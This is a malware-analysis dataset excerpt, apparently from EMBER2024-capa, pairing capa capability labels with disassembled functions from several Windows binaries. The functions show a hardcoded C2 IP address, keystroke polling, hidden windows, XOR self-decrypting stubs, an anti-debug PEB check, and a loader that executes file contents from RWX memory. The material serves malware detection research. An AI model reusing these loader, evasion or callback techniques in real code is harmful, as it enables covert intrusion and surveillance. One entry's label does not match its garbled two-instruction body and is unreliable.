joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404c10
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x100
push ebx
push esi
push edi
mov ebx, dword [esp + 0x110]
mov ecx, 0x20
xor eax, eax
lea edi, [esp + 0xc]
xor edx, edx
rep stosd dword es:[edi], eax
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [esp + 0x3c], 0x6b
mov edi, ecx
mov byte [esp + 0x3d], 0x72
test edi, edi
mov byte [esp + 0x3e], 0x38
mov byte [esp + 0x3f], 0x62
mov byte [esp + 0x40], 0x76
mov byte [esp + 0x41], 0x30
mov byte [esp + 0x42], 0x66
mov byte [esp + 0x43], 0x6e
mov byte [esp + 0x44], 0x75
mov byte [esp + 0x45], 0x78
mov byte [esp + 0x6d], 0x31
mov byte [esp + 0x6e], 0x37
mov byte [esp + 0x6f], 0x65
mov byte [esp + 0x70], 0x68
mov byte [esp + 0x71], 0x70
mov byte [esp + 0x72], 0x73
mov byte [esp + 0x73], 0x34
mov byte [esp + 0x74], 0x6d
mov byte [esp + 0x75], 0x6f
mov byte [esp + 0x76], 0x77
mov byte [esp + 0x77], 0x79
mov byte [esp + 0x78], 0x32
mov byte [esp + 0x79], 0x36
mov byte [esp + 0x7a], 0x6a
mov byte [esp + 0x7b], 0x6c
mov byte [esp + 0x7c], 0x33
mov byte [esp + 0x7d], 0x7a
mov byte [esp + 0x7e], 0x35
mov byte [esp + 0x7f], 0x69
mov byte [esp + 0x80], 0x63
mov byte [esp + 0x81], 0x74
mov byte [esp + 0x82], 0x39
mov byte [esp + 0x83], 0x64
mov byte [esp + 0x84], 0x67
mov byte [esp + 0x85], 0x61
mov byte [esp + 0x86], 0x71
jle 0x404d2d
mov esi, edi
mov al, byte [edx + ebx]
cmp al, 0x61
jl 0x404d8b
cmp al, 0x7a
jg 0x404d8b
movsx eax, al
sub eax, 0x61
dec esi
cmp esi, 0x20
mov byte [edx + ebx], 0x20
jle 0x404d2d
lea edx, [edx + eax + 2]
cmp edx, edi
jl 0x404d0a
xor esi, esi
xor edx, edx
test edi, edi
jle 0x404d50
mov al, byte [edx + ebx]
cmp al, 0x20
je 0x404d4b
movsx eax, al
inc esi
mov cl, byte [esp + eax + 0xc]
mov byte [esp + esi + 0x8b], cl
inc edx
cmp edx, edi
jl 0x404d35
lea edi, [esp + 0x8c]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + esi + 0x8c], 0
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, 1
mov edx, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 0x100
ret
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x100
ret

Function at 0x404da0
Capabilities:
Create thread

Disassembly:
push esi
call fcn.00409070
test eax, eax
jne 0x404dac
pop esi
ret
call fcn.004010f0
test eax, eax
jne 0x404db7
pop esi
ret
call fcn.00408bc0
test eax, eax
jne 0x404dc2
pop esi
ret
push 0x27fa
push str.54.248.119.249
call fcn.00409030
push 1
call fcn.00408dd0
add esp, 0xc
test eax, eax
jne 0x404de1
pop esi
ret
xor esi, esi
mov dword [0x41bfec], esi
mov dword [0x41bff8], esi
mov dword [0x41bfe0], esi
call fcn.00401b10
test eax, eax
jne 0x404e00
pop esi
ret
push 0x41bff4
push esi
push esi
push 0x404fa0
push esi
push esi
mov dword [0x41bff0], 1
call fcn.00409ba1
push esi
mov dword [0x41bfe8], eax
call fcn.00409cda
push eax
call fcn.00409b72
add esp, 0x20
mov dword [0x41bfe4], esi
mov dword [0x41bfdc], esi
mov eax, 1
pop esi
ret
Function at 0x405150
Capabilities:
Set current directory

Disassembly:
sub esp, 0x120
lea eax, [esp + 0x1c]
push edi
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edi, [esp + 0x20]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x40518b
mov al, 0x5c
cmp byte [esp + ecx + 0x20], al
je 0x405186
dec ecx
jne 0x40517b
jmp 0x40518b
mov byte [esp + ecx + 0x20], 0
lea ecx, [esp + 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0x17c
push 0x2bc
mov edx, dword [esp + 0x13c]
mov eax, dword [esp + 0x130]
push str.BTanGameRun
push edx
push eax
call fcn.004055d0
add esp, 0x14
test eax, eax
jne 0x4051cb
pop edi
add esp, 0x120
ret 0x10
call fcn.00404da0
test eax, eax
jne 0x4051de
pop edi
add esp, 0x120
ret 0x10
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
push ebx
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageA]
push esi
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
push 0
push 0
lea ecx, [esp + 0x14]
push 0
push ecx
call esi
test eax, eax
je 0x405213
lea edx, [esp + 0xc]
push edx
call edi
lea eax, [esp + 0xc]
push eax
call ebx
jmp 0x4051f2
mov eax, dword [esp + 0x14]
pop esi
pop ebx
pop edi
add esp, 0x120
ret 0x10
Function at 0x4055d0
Capabilities:
Hide graphical window

Disassembly:
sub esp, 0x28
push ebx
push ebp
push esi
mov esi, dword [esp + 0x38]
push edi
push 0x1e
push 0x255
push 0
push 0
push 0x41c010
mov dword [0x41c474], esi
call dword [sym.imp.USER32.dll_SetRect]
mov ecx, 0xa
xor eax, eax
lea edi, [esp + 0x10]
push 0x6c
rep stosd dword es:[edi], eax
push esi
mov dword [esp + 0x18], 3
mov dword [esp + 0x1c], 0x405230
mov dword [esp + 0x20], eax
mov dword [esp + 0x28], esi
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x6f
push esi
mov dword [esp + 0x2c], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x44]
lea ecx, [esp + 0x10]
mov dword [esp + 0x34], eax
push ecx
call dword [sym.imp.USER32.dll_RegisterClassA]
push 0
push 0
push 0
push str.DISPLAY
call dword [sym.imp.GDI32.dll_CreateDCA]
mov ebx, dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov edi, eax
push 8
push edi
call ebx
push 0xa
push edi
mov dword [0x41c00c], eax
call ebx
push edi
mov dword [0x41c008], eax
call dword [sym.imp.GDI32.dll_DeleteDC]
mov eax, dword [0x41c00c]
mov ebx, dword [esp + 0x4c]
mov ebp, dword [esp + 0x48]
cmp eax, 0x400
jle 0x4056cf
cmp dword [0x41c008], 0x300
jle 0x4056cf
push 0x10
call dword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
push 0x11
mov edi, eax
mov eax, ebp
cdq
sub eax, edx
sar edi, 1
sar eax, 1
sub edi, eax
call dword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
mov ecx, eax
mov eax, ebx
cdq
sub eax, edx
sar ecx, 1
sar eax, 1
sub ecx, eax
jmp 0x4056d3
xor edi, edi
xor ecx, ecx
push 0
mov edx, dword [esp + 0x48]
push esi
push 0
push 0
push ebx
push ebp
push ecx
push edi
push 0x82080000
push 0x41a58c
push edx
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
test eax, eax
mov dword [0x41c470], eax
jne 0x405706
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret
mov ecx, dword [esp + 0x40]
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push ecx
push eax
call esi
mov edx, dword [0x41c470]
push edx
call dword [sym.imp.USER32.dll_UpdateWindow]
mov eax, dword [0x41c470]
push 0
push eax
mov dword [0x41c46c], ebp
mov dword [0x41c468], ebx
call esi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x28
ret

Function at 0x4080a0
Capabilities:
Hide graphical window

Disassembly:
push esi
push edi
mov esi, ecx
call fcn.00408150
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
mov edi, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push 0
push eax
mov dword [esi + 8], eax
mov eax, dword [esp + 0x28]
push 0
mov dword [esi + 4], ecx
push ecx
mov ecx, dword [esp + 0x2c]
push eax
push ecx
push edi
mov dword [esi + 0xc], edx
push edx
mov edx, dword [esp + 0x44]
or edx, 0x40000000
mov dword [esi + 0x10], edi
push edx
push 0
push str.EDIT
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0
push eax
mov dword [esi], eax
call dword [sym.imp.USER32.dll_ShowWindow]
pop edi
pop esi
ret 0x1c

Function at 0x408110
Capabilities:
Get graphical window text

Disassembly:
mov eax, dword [ecx]
test eax, eax
je 0x408129
mov ecx, dword [esp + 4]
mov edx, dword [esp + 8]
push ecx
push edx
push 0xd
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
ret 8
Function at 0x408bc0
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ecx
call fcn.00409000
push 0
push 1
push 2
mov dword [0x446b08], 0
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [0x446af0], eax
jne 0x408ce9
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
add eax, 0xffffd8d8
cmp eax, 0x45
ja case.0x408c06.10033
xor ecx, ecx
mov cl, byte [eax + 0x408d7c]
jmp dword [ecx*4 + 0x408d54]
push str.A_successful_WSAStartup_must_occur_before_using_this_function.
push 0x41a98c
call fcn.00405960
add esp, 8
xor eax, eax
pop ecx
ret
push str.The_network_subsystem_or_the_associated_service_provider_has_failed.
push 0x41a98c
call fcn.00405960
add esp, 8
xor eax, eax
pop ecx
ret
push str.The_specified_address_family_is_not_supported.
push 0x41a98c
call fcn.00405960
add esp, 8
xor eax, eax
pop ecx
ret
push str.A_blocking_Windows_Sockets_1.1_call_is_in_progress__or_the_service_provider_is_still_processing_a_callback_function.
push 0x41a98c
call fcn.00405960
add esp, 8
xor eax, eax
pop ecx
ret
push str.No_more_socket_descriptors_are_available.
push 0x41a98c
call fcn.00405960
add esp, 8
xor eax, eax
pop ecx
ret
push str.No_buffer_space_is_available._The_socket_cannot_be_created.
push 0x41a98c
call fcn.00405960
add esp, 8
xor eax, eax
pop ecx
ret
push str.The_specified_protocol_is_not_supported.
push 0x41a98c
call fcn.00405960
add esp, 8
xor eax, eax
pop ecx
ret
push str.The_specified_protocol_is_the_wrong_type_for_this_socket.
push 0x41a98c
call fcn.00405960
add esp, 8
xor eax, eax
pop ecx
ret
push str.The_specified_socket_type_is_not_supported_in_this_address_family.
push 0x41a98c
call fcn.00405960
add esp, 8
xor eax, eax
pop ecx
ret
push 0x41a770
push 0x41a98c
call fcn.00405960
add esp, 8
xor eax, eax
pop ecx
ret
push esi
push 0
mov word [0x446ad8], 2
call dword [sym.imp.WS2_32.dll_htonl]
mov esi, dword [sym.imp.WS2_32.dll_setsockopt]
lea edx, [esp + 4]
push 4
mov dword [0x446adc], eax
mov eax, dword [0x446af0]
push edx
push 0x1002
push 0xffff
push eax
mov dword [esp + 0x18], 0x10000
call esi
mov edx, dword [0x446af0]
lea ecx, [esp + 4]
push 4
push ecx
push 0x1001
push 0xffff
push edx
call esi
mov dword [0x446b0c], 0
mov eax, 1
pop esi
pop ecx
ret
Function at 0x409070
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x40912b
add eax, 0xffffd8cc
cmp eax, 0x38
ja case.0x40909d.10040
xor ecx, ecx
mov cl, byte [eax + 0x40914c]
jmp dword [ecx*4 + 0x409138]
push str.Indicates_that_the_underlying_network_subsystem_is_not_ready_for_network_communication.
push 0x41ab2c
call fcn.00405960
add esp, 8
xor eax, eax
add esp, 0x190
ret
push str.The_version_of_Windows_Sockets_support_requested_is_not_provided_by_this_particular_Windows_Sockets_implementation.
push 0x41ab2c
call fcn.00405960
add esp, 8
xor eax, eax
add esp, 0x190
ret
push str.A_blocking_Windows_Sockets_1.1_operation_is_in_progress.
push 0x41ab2c
call fcn.00405960
add esp, 8
xor eax, eax
add esp, 0x190
ret
push str.Limit_on_the_number_of_tasks_supported_by_the_Windows_Sockets_implementation_has_been_reached.
push 0x41ab2c
call fcn.00405960
add esp, 8
xor eax, eax
add esp, 0x190
ret
push 0x41aa04
push 0x41ab2c
call fcn.00405960
add esp, 8
xor eax, eax
add esp, 0x190
ret
mov eax, 1
add esp, 0x190
ret

Function at 0x4091a0
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0x110
push esi
lea eax, [esp + 4]
push edi
mov esi, ecx
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
mov edx, dword [esi + 0x3c]
lea ecx, [esp + 0x10]
xor edi, edi
push ecx
push edx
mov dword [esp + 0x1c], edi
mov dword [esp + 0x18], edi
call dword [sym.imp.USER32.dll_ClientToScreen]
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
sub eax, ecx
mov ecx, dword [esp + 0xc]
mov dword [esp + 8], eax
mov dword [esi], eax
lea eax, [esp + 0x18]
sub ecx, edx
push eax
mov dword [esp + 0x10], ecx
mov dword [esi + 4], ecx
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov dl, byte [esp + 0x19]
mov al, 0x80
test al, dl
mov ecx, 1
je 0x40920e
mov dword [esi + 8], ecx
jmp 0x409211
mov dword [esi + 8], edi
test byte [esp + 0x1a], al
je 0x409223
mov dword [esi + 0xc], ecx
pop edi
pop esi
add esp, 0x110
ret
mov dword [esi + 0xc], edi
pop edi
pop esi
add esp, 0x110
ret
Function at 0x40cdc7
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x41b3d0
cmp edx, dword [eax]
je 0x40cde9
add eax, 8
inc ecx
cmp eax, 0x41b460
jl 0x40cdda
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x41b3d0]
jne 0x40cf17
mov eax, dword [0x449048]
cmp eax, 1
je 0x40cef1
test eax, eax
jne 0x40ce1a
cmp dword [0x41afb4], 1
je 0x40cef1
cmp edx, 0xfc
je 0x40cf17
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40ce51
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0040e9d0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0040eac0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40ce94
lea eax, [ebp - 0x1a4]
push eax
call fcn.0040eac0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x417698
push edi
call fcn.00409f60
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0040e9d0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0040e9e0
lea eax, [ebp - 0xa0]
push 0x417678
push eax
call fcn.0040e9e0
push dword [esi + 0x41b3d4]
lea eax, [ebp - 0xa0]
push eax
call fcn.0040e9e0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040f8e9
add esp, 0x2c
pop edi
jmp 0x40cf17
lea eax, [ebp + 8]
lea esi, [esi + 0x41b3d4]
push 0
push eax
push dword [esi]
call fcn.0040eac0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10

Function at 0x406000
Capabilities:
Check for peb beingdebugged flag
Encode data using xor

Disassembly:
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + edi + 0x7d], dh
je 0x40603d
jge 0x406036
jbe 0x405fbd
je 0x40603d
jge 0x406036
jbe 0x405fbd
loopne 0x40601a
add byte [eax], al
add byte [eax + eax], dh
add byte [eax], al
adc byte [eax], al
add byte [eax - 0x6f6f6f70], dl
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor eax, eax
xor ecx, ecx
xor ebx, ebx
xor edx, edx
mov eax, dword fs:[0x30]
mov ebx, dword [eax + 8]
mov eax, ebx
add eax, dword ds:[edi + 0xe]
mov ecx, eax
add ecx, dword ds:[edi + 0xa]
mov edx, dword [edi + 6]
add edx, ebx
xor ebx, ebx
mov ebx, dword ds:[edi + 2]
xor dword ds:[eax], ebx
add eax, 4
cmp eax, ecx
jle 0x40606a
jmp edx
Function at 0x5c4d54
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
add byte [ecx], dh
ror byte [ebp + 0x4d890148], 0
Function at 0x10002169
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
push 7
pop ecx
lea edi, [ebp - 0x20]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp + 8]
xor esi, esi
test ecx, ecx
mov eax, esi
push 0x1c
pop edi
lea edx, [ecx - 0x68]
mov dword [ebp - 4], eax
cmove edx, edi
mov ecx, dword [edx]
test ecx, ecx
jne 0x1000219f
mov ecx, 0x80004005
jmp 0x100021b2
mov eax, dword [ecx]
lea edx, [ebp - 4]
push edx
push 0x1001907c
push ecx
call dword [eax]
mov ecx, eax
mov eax, dword [ebp - 4]
test ecx, ecx
js 0x100021fd
test eax, eax
je 0x100021fa
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x10
call edi
xor ecx, ecx
inc ecx
test ax, ax
push 0x11
cmovs esi, ecx
call edi
test ax, ax
jns 0x100021d9
add esi, 2
push 0x12
call edi
test ax, ax
jns 0x100021e5
add esi, 4
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x20]
push esi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov ecx, eax
mov eax, dword [ebp - 4]
jmp 0x100021fd
xor ecx, ecx
inc ecx
xor ebx, ebx
test ecx, ecx
setne bl
test eax, eax
je 0x1000220e
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 8
Function at 0x10002518
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [edi - 0x80]
neg edi
sbb edi, edi
and edi, eax
mov ecx, dword [edi + 0x1c]
test ecx, ecx
jne 0x10002425
cmp dword [ebp + 0x14], ecx
jne 0x10002478
mov eax, dword [ebp + 0xc]
test eax, eax
jle 0x10002488
push dword [ebp + 0x1c]
push ecx
lea ecx, [edi + 0x80]
call fcn.10002f50
mov esi, 0x40180
jmp case.default.0x10002499
mov esi, dword [ebp + 0x14]
test esi, esi
je 0x10002478
and dword [esp + 0x10], 0
lea edx, [esp + 0x10]
and dword [esp + 0x14], 0
mov ebx, 0x100197bc
mov eax, dword [ecx]
push edx
push ebx
push ecx
call dword [eax]
mov eax, dword [esi]
lea ecx, [esp + 0x14]
push ecx
push ebx
push esi
call dword [eax]
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
cmp eax, ecx
sete bl
test ecx, ecx
je 0x1000246c
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1000247a
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x1000247a
xor bl, bl
test bl, bl
jne 0x10002405
mov eax, 0x8000ffff
jmp 0x10002555
add eax, 7
mov esi, 0x80004001
cmp eax, 7
ja case.default.0x10002499
jmp dword [eax*4 + 0x1000255e]
push dword [ebp + 0x1c]
push ecx
lea ecx, [edi + 0x80]
call fcn.10002f50
jmp 0x10002551
lea ecx, [edi + 0x80]
neg ecx
sbb ecx, ecx
and ecx, edi
push ecx
push 0xffffffffffffffff
add ecx, 0xc
call fcn.10005844
mov esi, eax
xor eax, eax
test esi, esi
cmovns esi, eax
jmp case.default.0x10002499
lea eax, [edi + 0x80]
neg eax
push ecx
sbb eax, eax
and edi, eax
push 0xfffffffffffffffb
lea ecx, [edi + 0xc]
call fcn.10005844
mov esi, eax
test esi, esi
js case.default.0x10002499
lea ecx, [edi + 0xc]
xor esi, esi
call fcn.10006565
jmp case.default.0x10002499
lea ecx, [edi + 0x80]
neg ecx
sbb ecx, ecx
xor esi, esi
and ecx, edi
test byte [ecx + 0x50], 8
jne case.default.0x10002499
push ecx
push 0xfffffffffffffffc
jmp 0x100024c3
lea esi, [edi + 0x80]
neg esi
sbb esi, esi
and esi, edi
lea eax, [esi + 0x8c]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
cmp dword [esi + 0x58], 0
je case.0x10002499.6
push 0
push dword [esi + 0x58]
call dword [sym.imp.USER32.dll_ShowWindow]
xor esi, esi
jmp case.default.0x10002499
push dword [ebp + 0x1c]
push ecx
lea ecx, [edi + 0xc]
call fcn.1000632c
mov esi, eax
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x1c
Function at 0x10009943
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x100174bf
call fcn.10016e93
mov eax, dword [ebp + 0xc]
xor esi, esi
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x430], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x42c], esi
mov dword [ebp - 0x418], esi
push 0x60
push esi
push ebx
mov byte [ebp - 4], 1
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], edi
test edi, edi
jne 0x100099c0
push 2
push esi
push ebx
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], eax
test edi, edi
jne 0x100099c0
call fcn.100080da
mov esi, eax
jmp 0x10009ac6
push dword [ebp - 0x41c]
push dword [ebp - 0x420]
push edi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
jne 0x100099e3
call fcn.100080da
jmp 0x10009ab9
push ebx
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x41c], eax
test eax, eax
je 0x100099d9
push ebx
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov ebx, eax
mov dword [ebp - 0x420], ebx
lea eax, [ebx + 1]
cmp eax, ebx
jae 0x10009a16
mov esi, 0x8007000e
jmp 0x10009abb
push 2
pop ecx
mul ecx
mov byte [ebp - 4], cl
cmp edx, esi
ja 0x10009ae9
jb 0x10009a31
cmp eax, 0xffffffff
ja 0x10009ae9
cmp eax, 0x400
jbe 0x10009a46
push eax
lea ecx, [ebp - 0x418]
call fcn.100164a3
jmp 0x10009a68
lea eax, [ebp - 0x414]
mov dword [ebp - 0x418], eax
jmp 0x10009a68
mov dword [ebp - 4], 1
cmp dword [ebp - 0x418], 0
je 0x10009a0c
push ebx
push dword [ebp - 0x418]
push ebx
push dword [ebp - 0x41c]
push esi
push 3
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
je 0x100099d9
mov eax, dword [ebp - 0x418]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x42c]
push dword [ebp - 0x418]
call fcn.100164a3
mov esi, eax
test edi, edi
je 0x10009ac6
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x10009adf
lea ecx, [ebp - 0x418]
call fcn.100080a2
mov eax, esi
call fcn.10016de8
ret 0x10
push 0x80070216
call fcn.100164a3
int3